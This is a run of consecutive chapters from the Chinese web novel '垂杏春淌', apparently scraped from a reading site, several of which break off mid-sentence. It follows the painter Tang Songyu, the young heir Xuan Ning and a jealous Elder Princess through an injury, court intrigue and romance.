院中无人影踪,他路过垂丝海棠时,抬头瞧了一眼,欲言又止。 小厮跟在他身后,见他突然停下脚步,望着角落里的花树问:“这棵树怎么了吗?” 倒不是树的问题,只是昨日他扔下来的面纱,不知是被风吹的还是面纱太过轻薄,竟扎进了海棠树,挂在枝头飘摇。 棠宋羽沉默了会儿,转身离去。 失主并不着急取,否则今日……不会不来。 刚走出画院外,就看见黄夫人坐在马车里,掀开垂帘朝他招了招手。 …… 车内昏暗,棠宋羽的脸隐于晦暗中,黄夫人点了烛灯放在脚边,这才看清他的脸。 她随手抬起他的脸打量,“几日未见,怎就破了脸,你脸上的伤是被长公主划的?” “不是,是我自己弄的。”棠宋羽退了退,直到离开她的手。 黄夫人心细如发,大致猜到了一二,收了手叹气道:“那孩子终究是被她惯坏了。” 棠宋羽知道黄夫人与天子是旧识,大抵和长公主关系非同一般,此时听她感叹,也没有开口。 黄夫人抬眼盯着他,慢悠悠道:“不过长公主为人虽娇蛮霸道了些,但本性不坏,如今得了教训倒也能挫挫锐气,不过你下手未免重了些,就算她不追究,陛下若得知你划伤她的脸,怕是难逃一死。” “我没有……”棠宋羽凝眉困惑,神情茫然,他何时对她下手,又几时划伤她的脸了。 “不是你做的?”黄夫人也是倏尔一愣,不是他,那还有谁。 “真是怪了,公主的伤口位置和你的一模一样,就是伤口比你的要深。我还以为是你当场报复回去……” 棠宋羽越听越心紧,一模一样的伤口,能报复到这种程度,恐唯有玄家小殿下一人。 她那日夜闯府邸,出来后,却只跟他说只是聊聊。 难怪长公主自那夜后,没有再找他麻烦。 …… 她当真为他得罪了长公主。 棠宋羽倏忽起身下车,连黄夫人的叫喊都闻之不顾。 昏黄灯笼将院中身影拉得颀长,他站在院子角落,垫着脚去够落在树上的面纱。 “画师,用这个。”小厮递过来一样东西,棠宋羽定睛一看,是晾画用的长杆, “多谢。”棠宋羽讪讪接过来,长杆高度刚好,他攥在手中,扶手将面纱取了下来。 面纱不堪褶皱,又一夜风霜露宿,染得满纬尘凉。 轻纱绕指,他小心将其叠整齐,装进腰间蹀躞带上的荷囊中。 若她明日来,便还给她。 然而玄家小殿下就好像是就此消失了般,足足半月没有现身,纵是喧闹的街头茶馆,也没有她任何的消息。 街道的杏花已经落尽,枝头树上挂满了嫩绿叶片,只待夏来结果。 棠宋羽放下茶盏,结了钱,提着画匣便朝相府赶去。 丞相之子刚满五岁,虽是个男孩,不过丞相爱屋及乌,便也当女孩好生养着,每每过生辰,她都要请人为他作画像。 男孩坐在板凳上,小腿一晃一晃的,他项间戴着明玉雕刻的长命锁,头发被扎成了铃铛模样,垂垂挂在耳后,眉间点红痣,小脸白嫩的比豆腐还要水灵,不堪一触。 他见棠宋羽拿着笔在纸上勾来画去,早就耐不住性子探头探脑,见他笑着招招手,立马跳下凳子,蹦蹦跳跳跑过去,踮脚伸着脖子去看。 “哇你把我画得好像我。” 孩童声音稚嫩,棠宋羽不禁柔声答道:“小公子谬赞。” 有女侍进来发现小公子乱跑,将人抱起来又放回椅子上。 “公子不要乱动。” “无妨。”棠宋羽抬眸看道:“我已经画好了。” 出了屋,棠宋羽才发现外面天阴沉沉的,他问了时辰,不过申时半。 他还要带着画回去装裱,匆忙道了别,出府时,他目光瞥见门口停着一辆风格华丽的马车,心生不好预感,连忙快步离开。 “君子兰?” 天覃刚下马车,看见那熟悉的背影,心中又惊又奇,连忙叫人把他拦下。 棠宋羽被人拦 8. Chapter.8 《垂杏春淌》全本免费阅读 淅淅沥沥的春雨落湿了青砖黛瓦。 路上行人神情匆忙,交错步履,或躲檐下避雨,或回走归家。 玄凝握着缰绳从城东赶到城中区街道时,脸上已沾了一层水珠。她随手用袖子抹了抹,心里想着他看着如此脆弱,淋雨怕是要坏了,便扬鞭催马快。 马蹄声促,迎面驶来一辆马车,她眼睫落了雨,眯眼有些看不清楚,闻声往一旁改道。 不知是什么人如此不要命,她刚变了道,余光刚看见一抹霞色从车里钻出来, 纵身从行驶的车上跳了下来,在地上滚了几圈,停在她的路前。 “!”玄凝直呼不妙,连忙勒紧缰绳,想要调转马头。骊声怨哞,墨蹄在空中踏了几个来回,又重重落下,玄凝虽未听见惨叫,但也连忙下马查看。 她擦去眼上细雨,那地上之人滚了一地青石水,霞衣污点斑驳,头发也散落在脸周,拧着身子动弹不得。 见他歪着身子不说话,玄凝只顾得上察看他捂着的膝盖,她一碰,白衣痉挛,浑身颤抖,唇间似有痛苦呻|吟。 她不敢再碰,抬头时,视线不偏不倚,刚落在他艰难抬起的脸上。 只一眼,倒让她血液倒流了般,浑身冰凉。 “棠宋羽?” 他嘴唇翕动,不知是被痛得还是想说些什么。 随之,他的头再次砸落在地,磕出声响,不管玄凝怎么叫他,他都不醒。 玄凝连忙将人抱起,他轻的像是没骨头,在怀里抱着都不会沉下去。 视线瞟见远去的马车,装饰华贵,还有一带着面帘的女子正扒着车窗往她这里看。 “……”玄凝沉脸不语,抱着怀中男子往相反方向快步离去。 玄家产业甚广,到了玄遥这一代,连被黎族世代垄断的医馆业务,玄家也得了半分田地。 玄凝一路寻到自家医馆,医馆的人见到她来,纷纷行礼。 医师岑煦站起身,“小庄主,今日怎么……” “少废话先救人。” 玄凝二话不说,将怀中之人放在看病时用的床板上。 岑煦见她如此紧张,也是快了步子,走过来一看,便心了小庄主为何慌张。 确实是个好看的男子。 “伤到哪里了?”她抬手就要去解人家腰带,玄凝立即抓住她的手,“不是那种。” “他的膝盖被马蹄踏到了。” “哦。”岑煦收回手,转身摸了把双股绞剪,将长裤沿着大腿周围剪开。 若要在平时看到他的腿,玄凝怕是会吹声口哨,调戏道:“棠画师的腿真是生得细长,白得发亮,连本君都自愧不如。” 可当下玄凝看到他的腿,连话都只是咬住了牙,攥紧了拳头。 他的右腿膝盖肿的高耸,血液淤积在膝关节,一片骇人深红。 医者谨慎,岑煦又将他左边裤腿剪开,果不其然,左小腿上同样是一片淤紫青肿。 “去拿冰来。” 身旁候着的医佣钻进了药堂里屋,玄凝听到下楼的声音,收回视线时,岑煦正拿绞剪剪着布条。 这要剪到什么时候。 玄凝直接拿过来,徒手将布料撕成了几条递给她。 小庄主真不愧是习武之人,一身蛮力。 岑煦想笑又怕她怪罪,只好憋着接过来,简单做了个包扎防止渗血,随后轻轻摸着他腿上淤紫,细细探察。 她随口问了句,“是谁纵马?” 玄凝垂了垂目光。 “我……” 岑煦意味深长地看她一眼,“还好没碎,只是骨折,他这个岁数,好生养着,半年之后就可以下床了。” 她轻描淡写的一句“只是骨折”,听得玄凝揪心万分。 岑煦将医佣拿来的冰块用绷布裹着,递给玄凝,“先冰敷,一会我给他扎针。” 寒冰尽管被纱布包着,捧在手里却也冰凉透彻。 他两条腿都有伤,玄凝也就拿着两块冰俯身捂着。 门外进来个人,满脸是血,脚步虚浮,医佣连忙将他引了旁边,喊着岑煦去看。 玄凝皱眉命令道:“不许走,我先来的,先给他治。” 岑煦没好气瞪她,道,“小庄主,事情总要有个轻重缓急吧,人既然送我这里,就一定有救。再说,庄主请我来是为了解百姓病忧,而非你一人之忧。” 她口气不小,却也是有这个狂妄本事。 岑煦出身黎族,打小就是个“医痴”。同岁女子还在学堂学字时,她已经抱着比人重的竹简啃医药典识了。 玄凝对她的出身并不知悉,不过能被玄遥请来自家医馆坐诊,想来是有些独到之处。 不过她还是催促了两句。 “小庄主莫要催,我这一催就着急,手就会抖,到时候扎错了位置,你可别怪我。” 岑煦那边已经给人包扎伤口了,听她催促,便回了句玩笑话。 谁知玄凝听她这么说,隔着屏风漠然道:“你若扎错位置,我便剁你一指。” 岑煦挑了挑眉,没说话。 手下的伤者倒是吓得不轻,颤手结了账,快步离开了。 冰渐渐融化,水渗出纱布,弄得她满手都是。 岑煦洗了手戴着皮手套走进来,看肿块微微消了下去,对一旁医佣低声说了几句,不一会医佣就拿来了一个木匣,从中挑了一根针出来。 她手中的针不同于针灸金针,针尖更粗,看着不像是扎人的。 察觉到玄凝的视线,岑煦低头哼笑,手指隔着软皮寻着他关节位置。 “小庄主,你要是心疼就别看了。” 玄凝缄口不言,粗针扎入血肉,她看见昏迷中的棠宋羽隐隐皱眉,似要醒来。 她毫不犹豫将人点晕,出手抚平了他眉间山川。 “一会就好,别怕。” 雨势渐大,街上人影寥寥。 嘶嘶马声落,她的墨云马早循着她的身影跟来了医馆,眼下正在檐下避雨。 玄凝望着外面,天已经黑透,灯笼的光在地上飘摇,有潮湿的夜风灌进来,吹的她身上一凉。 上了夹板缠上绷布,岑煦手指飞快,将其打结,总算是将受伤最重的右腿给处理好。 玄凝从始至终站在床边,时刻观察着棠宋羽有无醒来的迹象。 岑煦忙中还不忘调侃道,“小庄主若有空,以后常来我医馆,这里有很多不听话的病人,需要你这样的手段。” 玄遥确实有这个意思,不过不是让她治理病人,而是让她接管家业。 玄家家业实在涉及广泛,玄凝从昆仑回来至今已过两年,在这两年间她也没闲着,温书练字,学账算账,巡察店铺,也只熟悉了一半家业,还要抽空锻炼身子,温习剑术。 骡子都没她累。 玄凝回过神,只道了声:“自然常来。” * 马车上,长公主的脸逐渐凑近。 她伏在他的颈肩轻嗅时,棠宋羽没有忍住恶心,喉节动了动。 干呕的动作被她发现,她羞恼地捏着他的脸质问。 “你觉得本宫恶心是吗?” 她甚至没有给他回答是否的机会,解衣俯身而下。 “那本宫偏要恶心你。” 身后的暗卫收了视线,棠宋羽握紧了手,拼命往后退。 她是要在这车上…… 前有长公主,后有暗卫,他弓着身子左右无处可躲。 “长公主!” 他猛地低头,额头撞在公主头顶上。 天覃只觉得眼前晕眩,暗卫闻声连忙丢他到一旁,去查看长公主伤势。 耳朵还在嗡鸣,棠宋羽趁机钻出车子,他身子趔趄,一个不稳掉了下去。 未等他爬起,一道马鸣长嘶,他看见乌黑的马蹄从空中而落。 痛。 痛到失去知觉。 他麻木地想,若是落了残疾,长公主会放过他吗? 很可能不会。 他只有死了,才是解脱。 有人下马,前来察看他的情况。 若马蹄再往前一些,朝着他的心口踩下去就好了。 那人下手不知轻重,痛得他以为双腿已经血肉模糊,白骨粉碎。 这一痛,倒生出了几分求生意识。 棠宋羽挣扎着抬起脸,却听见面前的人,诧异道出了他的姓名。 小殿下…… 又是你啊。 棠宋羽睁开眼,眼角上似有柔软之物轻擦。 目光斜移,落在梦中人脸上。 “醒了?” 玄凝拭去他眼角泪痕,挤出个笑来。 他想起身,却被她按着。 见她眉眼紧张,棠宋羽忍不住问道:“我的腿还在吗?” 玄凝没想到他悲观至此,摇头笑道:“若是还在,你是失望还是高兴?” “……各占半分。” 他再不通医术也知道,急马蹄踏,他就算保全了腿,怕是大半年也难再站起。 如此,他在 9. Chapter.9 《垂杏春淌》全本免费阅读 咬噬虽无声,罢了却有形有色。 她阖眼时的睫毛弯而纤长,扫的他的面颊轻痒。 他不肯就此服软,抬着手抓住她的衣领。 她头也不抬,直接反手握住他的手按在枕边。 十指相扣的瞬间,便是跳动的火芯,也不及他心悸动。 屋外有脚步声渐至,玄凝总算舍得放开他。 她尝到了甜头,心满意足,倒气得棠宋羽面色苍白,喘着气颤抖。 岑煦敲门进屋,她目光来回掠过两人面色,一个发白,一个如绯,倒是都唇红而有水光。 目光所及,心有所悟,她也只道:“小庄主,你不要欺负伤者。” 随后她放下伤药和换洗衣物,又道了一句:“小庄主不要着急,凡事等伤好了再说,切莫强人所难。” 最后在玄凝快要发火的目光中,她总算离开屋子。 玄凝从桌上拿过伤药,坐到他腿边笑道:“棠画师,你认为长公主如何?” 她又要用这个法子折磨他了。 “不如何。” 棠宋羽感到腿上一凉,是她用指腹蘸了药膏,正在小腿上涂抹。 玄凝分得清轻重,并不打算故技重施。 再者,她见了他的腿,心疼又自责,气也消了一大半。 片刻后,她头也不抬又问了一句。 “那小庄主如何?” “……” “不如何。” 他并未察觉她擦药的动作滞了片刻,只听见她近似嘲讽的话语。 “棠画师真是挑剔,天玄二字都不如何,那不知天景城中,谁家贵人能入得了画师眼里。” 他咽了咽嗓子,盯着渐亮的窗户,自言自语道: “天玄又如何,若她眼中唯我……” 这世上,哪有人眼中唯有一人。 便是烛火,也从不曾独照一人。 他忽的停住了呢喃,玄凝顺着他的目光看去,心道:“原来已经天亮了。” 守了他一夜,见了日光便更加犯困。 玄凝起身将窗户推开,伸着懒腰哈欠声连连。 伫立了一会,玄凝回头时,棠宋羽躲避不及的目光正好落在她眼中。 她微微一笑,接过他刚才未说完的话说道: “若玄凝眼中唯你一人,画师可否愿意选玄凝?” 棠宋羽望着她,许久后,他摇了摇头。 玄凝自嘲笑了笑,“棠画师不信我,我多说也不宜,你还是好些休息吧。” 她将他身上薄褥整理好,头也不回地离开屋内。 昨日风雨后,天空格外晴朗。 清晨的太阳虽没有正午时的温热,却也让他心中一暖。 直到她离开,这份暖意还停留在心中,像是化不开的胭脂,沉在心海中迟迟没有散去。 她似乎不明白。 不管她眼中是否唯有他一人, 天玄二字对于他,只会是避之躲之的洪水猛兽。 尽管有一瞬间,他真的对她的话深信不疑,在心底回答了声“愿意”; 那也是他枕上黄粱,蚁聚何殊。① * 玄凝看见院子中有张躺椅,刚美滋滋地躺下阖眼,打算好好补一觉时,步履声急促,随着步摇轻晃声,停在了她的面前。 她连眼都懒得睁就知道是谁。 玄遥见她挑着眉毛却不睁眼,捏着她的耳朵训道:“我刚将你放出来,你就又惹事,你想气死阿媫吗?” 玄凝被扯疼了耳朵,不情愿睁眼躲道:“阿媫,我哪里又惹事了,不过是不小心伤到了人,眼下不已经救回来了吗。” “你伤到的可是长公主的人。” 玄凝眼睛一下子瞪得如铜铃般,“什么长公主的人,那分明是我的人。” “呵,你说得清吗?”玄遥松开她的耳朵,扶着额头叹道:“我得了消息,长公主昨晚带人进了宫,向陛下状告你为了与她争侽宠,划伤她的脸又纵马伤人之事。” 玄凝昨日远远看见长公主在车内,要不是棠宋羽伤情严重,她早就将人从车里扔出来了,哪还轮到她恶人先告状。 如今可倒好,她成了受害者,自己倒是一身腥臭。 “我就不该把你放出来。”玄遥拧着眉毛,看样子还想将她关进辰宿山庄。 玄凝可不想再进去了,何况还要留在医馆照顾棠画师呢。 她起身道:“既然她告我纵马伤了她的人,可如今伤者在我这,她要如何证明。” “你不要把长公主想的过于简单,她不知从哪找来了倒霉鬼,抬着人尸身上了大殿。” “哈。”玄凝气得冷笑,死者无法为自己辩白,她倒是够聪明,也够狠毒。 哪怕她也将棠宋羽抬上大殿,只要天覃死死咬定死者是被她所害,陛下就会怀疑她为了脱罪,串通棠宋羽和医馆弄虚作假,一同欺瞒她。 沉了气,她又问:“陛下是什么反应?” “陛下向来不管公主内事,她只说了一个字。” “何字?” 玄遥面色凝重,转身望着她道: “等。” 玄凝一愣,天子要等什么,等玄家之罪大到结党营私,大到起兵造反,大到通敌叛国? “依阿媫对陛下的了解,陛下会等什么?” “天命难测,天子心思更是难以捉摸,我对陛下有恩,陛下断不会先拿我开刀。倒是你……”玄遥握着玄凝的手,满目忧愁,“你尚未成人,心性不稳,陛下认你为天家义子,怕是想利用你刺激长公主。” “如今你们因为侽宠相争,怕是正中陛下下怀,若是你输她赢,陛下只会更加看中长公主,若是你赢她输,陛下……怕是要拿你试刀。” 玄凝一声不吭,她听懂了玄遥的意思。 表面上是她和长公主小打小闹,实际上是天玄两家在暗中较量。 天子放任不管,只是想等结果。 若输给天覃,天子凤颜大悦一笑了之,玄家得以暂时无忧,长公主从此踩在她头上耀武扬威; 若赢了天覃,天子凤颜有损便会找她麻烦,以此打击玄家,最后长公主还是会踩在她头上。 而棠宋羽作为争夺品,无论孰输孰赢,最终怕也是难逃一死。 真是太阳底下无新事,无论何时何地,美人都是权利博弈的牺牲品 “阿媫。”玄凝突然开口。 “可是我不想输。” 玄遥愣然,“你说什么?” 玄凝握住她的手,阳光下,她的眸子点着浅金。 “我知其中利害,也知玄家不易,更知阿媫为我担忧,可是……我无法将我的心上人拱手相让。” 棠宋羽可是她花了代价定制的对象,怎么可能让别人得了去。除非她死,否则谁也别想抢走。 “心上人?”玄遥松开她的手,冷眼看着屋内,“就是那个画师君子兰?” “阿媫,他姓棠,名宋羽,君子兰是他在画院的称呼。” “他名字倒是多,怕是心眼也一样多。”她不解气,又指着玄凝责怪,“你也是,什么心上人,怕是被批着人皮的妖怪蒙了心智,否则你向来清心寡欲,断不会对才见几面之人上心。” 清心寡欲倒也…… 高抬了。 玄凝晃着她阿媫的手,撒娇道:“算我求你了阿媫,他三番两次拒绝长公主,若真落到她手里,那便是生不如死。” 玄遥视若无睹,依旧固执己见,“他的死活与我无关,我只要看好你的性命。” “阿媫,你不要那么冷漠嘛,我也没让你帮我,你只要袖手旁观就可以了。” “我既是你阿媫,就更不可能看着你为了区区一个侽宠惹火上身。” …… 窗户开着,她们二人的争执声越来越大,大到一字不落地落到棠宋羽耳朵里。 突然,争执声戛然而止。 脚步声接近,他合了眼睛,假装浅寐。 阳光被影子挡在身后,打量的视线在他脸上停留许久。 久闻君子兰长得卓越,如今一看,到还真是称得上天景城第一美人。 玄遥的视线又落到那人缠满绷布的腿膝上,回头剐了玄凝一眼,起步离开。 “阿媫……” 玄凝跟了上去。 两人走了几步,又来到树下。 院内紫藤淋了雨,落了满地丁香。 玄遥低头看了良久,开口道:“有个办法,既可以保全他的性命,又可以让这场争夺停歇,就是不知道你愿不愿意。” 玄凝脸色一变,看着自家母亲的眼神也变得凝重。 “让他跟我……” “不行。” 玄凝回绝的毫不犹豫,她知道母亲断然不会夺她所好,她是想用利用自己的身份,收棠宋羽为侽宠,如此,长公主自不会与玄家庄主争抢, 可是这样一来,便是长辈下场为她撑腰,陛下会怎么想。 天景城又要如何议论玄家,如何议论棠宋羽。 共侍母子两君……她能想到那会是什么样的污言秽语。 她如此坚决,玄遥皱眉不解,“你还有比这更好的法子?” 紫树藤花下,红衣身影静静伫立。 大半晌后,玄凝摇了摇头。 她望着满树星碎,拈指弹落了垂挂的花间凝珠。 “我要堂堂正正将他迎进门。” 即便脚下荆棘丛生,前路危机四伏, 断头崖处,她也不惧。 “你想……”意识到她 10. Chapter.10 《垂杏春淌》全本免费阅读 朱墙出白俏,梨花点凤檐。 皓月当空,盈盈如许。珠玉琅铛作响,山青色裙袂飘过鸦灰路面,腰间璎珞佩带因风摇晃,云纹大袖紧紧跟在身后,就连耳边垂坠的发髻也随步而舞。 月色美得动人,玄凝却无暇欣赏,脚下步子在合乎规矩的约束下,依旧迈的飞快。她紧赶慢赶,总算赶在宫门关闭前出了天家之地。 城墙上的灯火照在车顶,有身影在车边徘徊。女子翘首盼望,见玄凝出来,连忙迎上前。 “殿下……” 未等天蜻询问缘由,玄凝抬手示意,随之上了马车。 天晴听到车内重重吁了口气,于是收回视线,脚蹬上车槛,驾着马车扬长而去。 玄凝午时末进宫,出宫已过戌时,足足过去了三四个时辰。 天蜻心中不免猜测,天子怕是刁难了殿下,否则怎会…… “不要乱猜。” 车内之人似是知她所想所虑,缓了会又淡声道:“送我去长椿街的医馆。” 天蜻有些迟疑,“殿下,庄主还在等你回去……” 玄凝眼帘微垂,只手扶着鬓边,将稍乱的头发整净理齐,“我要去确认一件事情,不会耽搁太久。你也可先行回去,告知庄主本君安然无恙。” 听她的意思,今晚横竖都要去医馆见人。天蜻左右思量,与其她一人回去禀告庄主,再被派来接人,不如等殿下办完事一同回去。 马鞭落下,车身一改方向,朝着长椿大街驶去。 长椿街不比红河街道,酉时一过,街上四处冷清,纵有三两铺子门还敞着,里面的伙计也正清理算账,准备打烊。 马车行至医馆外,一路上沉默不语的玄凝抬腿下了车,未有停顿,直接阔步走进医馆大门。 医馆已经歇业,医佣见有人进来还以为是旁的人,刚想阻拦却又收住口,“小庄主?” 玄凝冷眼瞥过,随后匆匆进了后院。 “小庄主心情不好?” 天蜻眼见背影消失在后院门后,摇头道:“不清楚。” 屋内亮着烛灯,棠宋羽正坐卧在床头,岑煦则在床尾坐着给他上药。听见门外有玉佩晃响,他抬眸盯着门,似相似知晓来人是谁。 可当门被打开时,他倏尔低下了头,欲盖弥彰端起了一旁还滚烫的汤药。 “棠宋羽。”女君声音冷冽,站在门口一动未动。 “哟。”岑煦扭头看见玄凝站在门口,脸上虽未有情绪,眼睛如沉落湖底的月色,将红翘也沾了冷意,恰好证明她此时心情极差。“是谁惹我们小庄主生气了?” 棠宋羽眼睫微扇,端着烫嘴的汤药小口小口喝着,趁碗沿遮挡视线时,用眼角余光将她偷偷丈量。 她身着山青绸衣,发辫样式比以往要更加繁琐,双股长辫顺着暖白色流珠绕来绕去,绾了一个垂耳挂髻,又取了两缕小辫从中穿过用花夹固定。 山青水蓝恬淡神秘,正如玄凝脸上神情,一眼望不穿,猜也猜不透。 他自以为隐藏的很好,却不知对于修仙者,他的目光再微渺,也依旧能够察觉。 尽管玄凝只修得了入门仙道,并未真正踏入门里。 见他偷看,她脸色略有缓和,拂了拂衣袖走近:“我有事想问你。” 眼睛瞄到岑煦,她会意后默默将药瓶放下,起身出去。 院外安静无风,紫藤树沐浴着月光,柔身垂窕。 房门关上,屋内烛火闪了一息,又重归宁静。 玄凝无声看他看了许久,扶袖将他手中药碗端走。 “烫的……” 他怕汤药洒到她的手,没有与她僵持,随着目光紧随,他听见她轻声笑道:“棠画师,这是在关心我?” 棠宋羽落下睫羽,在眸底扫下一片阴翳,让慌乱得以藏匿。 “没有……” 玄凝端着还没喝几口的汤药吹了吹,坐在他身侧,只手将烫手的碗暂搁床案边,说道:“画师是否关心,我并不在意。” 她扭过身,声音好似蒙上了一层寒霜,“我只在意……棠画师,你家在哪?” 棠宋羽闻言一怔,脸上本就不多的血色一霎间褪下。 见他望着她袖摆上的山水纹样恍惚,玄凝撑着身子凑近问:“棠画师又不是伤到了脑子,怎么,连自己家都不知道在哪了?” 他恍惚时不自觉掐住手指,垂眼闷声道:“城北。” “城北可净是达官贵人的府邸宅院,棠画师的家怎么会在那。” 他掐的愈发用力,便是指甲身陷肉里,也毫无半点反应。 他越是面色窘迫,玄凝越是依依不饶,附耳道:“我听闻棠画师当日上榜,直接被黄夫人晋升为正二阶,而黄夫人的府邸恰好就在城北中区……” 一年前君子兰名声大噪,街头巷尾无人不议论,玄凝那时正忙得不可开交,虽有耳闻,却也无暇关心他人如何平步青云,很快连人带事全抛之脑后。 直到近日,她才得知君子兰是棠宋羽一事,而今日进宫,却有人“好心”告知她,君子兰与画院夫人格外亲密,甚至同居同住,谈笑风生。 若是旁人提及,玄凝会认为他在胡乱编排。 可偏偏那人是天子。 * “殿下,世子殿下?” 听到有人叫她,玄凝睁开眼,抬头看见女官正躬身站在身旁,一脸谄媚假笑。 “殿下,陛下叫你进去呢。” 玄凝扶着腰从地上站起:“陛下忙完了?” “是,殿下快进去吧。” “慢着。” 她正要进去,却听见身后传来熟悉女声。 回头一看,不是别人,正是那金尊玉贵的长公主。 真是冤家路窄,她前日刚告完状,怎么今日又来了。 玄凝只见她不疾不徐地走来,对女官说道:“我有要事与陛下商讨,你速去禀告陛下。” 她怀疑天覃是知她进宫,故意来插队。 果不其然,女官低着头出来后,让长公主进去议事。 天覃斜眼笑道:“玄凝,你就继续跪候陛下传召吧。” 见她得意到眉毛都要飞上太阳穴了,玄凝微微一笑:“长公主脸上的伤,恢复的可还好?” 红衣女子听到这话,气得转回头,面帘甩的剧烈,来回发出金玉碰撞声。 “玄凝,我劝你看好自己脑袋,凤宫不是你可以出言不逊的地方。” 熟悉的压制方式,玄凝眉头一挑,“是呢,凤宫不比公主府自由,难怪公主不爱住东宫。” “公主府再自由,也比不过玄家世子孑然一身来的自由。”天覃嘲笑完便转身进了天子书房,留下女官和玄凝大眼瞪小眼。 玄凝忽然被戳中内心伤处,心中憋火,跪下时声音闷响。 她才不是孑然一身。 她找到他了。 这一跪,便又是一个时辰,久到玄凝怀疑她们母女俩合起伙来整治她。 她站起来活动身子,却见女官上前道:“殿下,陛下还没叫你进去。” 连动一动都不行吗,玄凝望着紧闭的房门,不情愿地重新跪下。 又过了半个时辰,玄凝只见女官行色匆匆招呼着男侍进去,随后便又无传讯。 这两人究竟在做什么。 玄凝心里默默念起了清心诀,不然她怕自己一时冲动,直接踢门而入。 金轮落于天边时,乌木门总算打开,女官笑着说:“殿下,陛下让你进去。” 紫烟渺渺,书房内燃着淡香,似有樟脑香气混杂其中。 玄凝见到天子,跪拜行礼,抬眼看见长公主正躺在天子怀里垂眼笑她。 “玄凝,你来。”天英招手,她这才起身走到书房内榻旁。 摆在天子面前的,是一盘棋,白子棋子玲珑剔透,黑子浑厚温润,一看便是用透明希玉和黑曜石琢磨出来。 “公主耍了赖,不陪本王继续下了,你来代替她的位置。” 玄凝有所迟疑,总觉得天子话里有话,只好道:“陛下,我自幼学武,不精棋艺。” “那又如何?”天英的眉宇间英气逼人,望着就让人敬畏,“本王也是自幼学武,下棋也是近两年才有的兴趣。” 话说到这个份上,她若再推诿,便是让陛下扫兴了。 玄凝只好硬着头皮坐在天子对面,看着棋盘上棋子错落,苦笑道:“那就献丑了。” 在进昆仑之前,玄凝确实不会下棋,只是镜释行常用下棋磨炼她的心性,久而久之,她也就对棋艺一知半解。 只是她并不知道自己下棋的水平程度,从昆仑回来后,她再也没有碰过棋子。因此,当她隐隐发现自己占据上风后,余光里看见天英脸色凝重,心道不妙。 坏了,又出风头了。 随着她指尖白子落下,一旁看着的长公主嘴角渐垮。 玄凝只好故意下错一个位置,让白子的包围之势有了突破口。 天英虽 11. Chapter.11 《垂杏春淌》全本免费阅读 旭和十八年春,君子兰的名字高居榜单头顶。 人群议论纷纷时,画院夫人从院内走了出来。 她看了一眼众人,不冷不淡道:“我已命人将前三名的画作展出,若有疑问,可自行进去观摩。” 人群多是画院的学徒和画师,听黄夫人如此说,便纷纷踏门而入,沿着水廊到了展画区。 第二和第三的画风技法如出一辙,若不细细辨别,根本看不出是两人所画。 可到了第一这里,用笔独到,色彩淡而不寡,颇有承大家之精髓,另辟新意的意思。 很快,君子兰的画作前聚满了人。 尽管心中认可,但一人泼脏水,众人便纷纷附和,画院之中,无一人替君子兰说话。 门外,棠宋羽姗姗来迟,望着榜单,他总算露出些喜色,可当他看到末尾写着“兰”字,脸上又失了神采。 “怎么,不满意?”黄夫人倚在院门,从他来时就一直盯着。 棠宋羽摇头,“太高了……” “高吗?我本想让你直接升正一阶,当个傲雪凌霜的红梅方才衬你……只可惜,那几个老东西倚老卖老,说什么都不同意。” 黄夫人的目光落在他的手上,喃喃道:“真像啊……她若没有习武,也应是这样洁白无瑕的手……” 视线中的手放了下去,藏在圆领宽袖里,待风吹来方能见其位置。 抬眼时,棠宋羽垂眸颔首道:“黄夫人抬爱,小的惶恐,怕不能担任兰职。” “你担当的了。”黄夫人走到他面前,摸了摸他的手臂,“你未免也太削瘦了,画院是克扣学徒饭菜了吗?” 他退了一步,“没有。” 黄夫人见他始终侧身低头,便命他抬头。 他脸上掌印清晰,黄夫人不可遏制怒道,“三番五次欺凌同窗,真是放肆。” “没有,是我自己……” 打自己耳光?他也真是会说笑。 “你不必再为他们开脱,画院不缺画师或学徒,我这就将他们赶出去。”黄夫人说一不二,扭身就要进画院将那几人揪出来。 棠宋羽连忙拉住她:“黄夫人莫要再为我出头。” 黄夫人皱眉回头:“为何?” 棠宋羽不知该如何开口,赶走又如何,无非是换了人继续。 他在画院本就孤身一人,黄夫人此举只会让他们更加憎他恶他。 黄夫人想到了什么,忽然道:“不如你搬来我府上,我也就睁一只眼闭一只眼饶了他们这一次。” “这不妥……” 她柳眉上扬,故作遗憾:“那我就只能将人赶了,他们这种无能无貌相之人,画院能收留他们已经是大发慈悲,今后落到街头深巷……也不失谋生之法。” 棠宋羽倒是如她所料,为他人忧虑:“他们家中有母父,怎能……” 黄夫人见他神情松动,却迟疑不决,便又道:“我府上刚走了一位乐工,你刚好能以乐工身份入住,至于吃住钱两……就从你每月薪给扣除。” “可……我并不通音律……” “你学东西向来快,区区五音六律,能将你难住?” 黄夫人低头拿起他垂在袖间的手:“再说,你这手生得如此好看,只握笔杆未免可惜,技多不压身,君子兰再添一技又如何。” “黄夫人。”棠宋羽拿开手,见她失落,不禁道:“故人依在,与其睹物思人,不如早日相见。” 黄夫人一怔,摇头苦笑道:“你这孩子……我正说你,你倒是教训起我来了。” 她如何敢见,哪怕隔着大殿远远望上一眼,她的心中便掀起风浪,淋落得满身狼狈。 院内交谈声由远至近,黄夫人回过神,看着眼前的乌袍少年问道:“所以,你考虑好了吗?他们的命……可是由你来定。” “……” 少年沉默了良久,总算在她失去耐心前,抬头道: “我走,他们留。” 然而黄夫人显然高估了少年,一年过去,他半只曲子都没学会。 他若有心,怎学不会。 于是黄夫人命他每晚到院中练琴,还必须当她面将一首弹完。 起初他弹得磕绊,犹如有人拿着斧头在他头上挥来霍去,听得黄夫人堵上耳朵,就连那双抚琴的玉手也无心欣赏,恨不得剁了安别人手上。 长达半年的苦练,她的耳朵饱受沧桑,棠宋羽的手指也养出了肉茧,也总算学会了一支曲子。 可黄夫人仍不满意,说他的琴声如驴拉磨,只是将琴谱规规矩矩弹出来,一点情绪都没有。 他本就情绪寡淡,不善表达,弹琴予他宛如酷刑,被逼无奈时,只得将对乐律的怨恨弹了出来。 黄夫人不知道听出了什么情感来,潸然落泪,满意极了。 棠宋羽若有所悟,便也学会了将心声寄托于琴弦之上。 杏花落尽时,泛音清冷,按音幽长,游吟仰月,他脸上虽无情绪,黄夫人却听出他琴音惆怅,如问如诉。 等他一曲作完,她举杯笑道:“你方才弹奏时,心中所思是谁?” 棠宋羽抚着琴弦没有说话,只是又弹了一首《幽兰》。 刚是《散莺》,又是《幽兰》,黄夫人生怕他再来一曲《烬凰》,饮完杯中酒便起身回屋。 也不知道他哪来的怨气,一连半个月曲中都似有不平幽怨,听得黄夫人头都大了。 “君子兰,你能不能收收你心底的怨气,让我听点高兴的。” “……我心底无怨,黄夫人听岔了。” 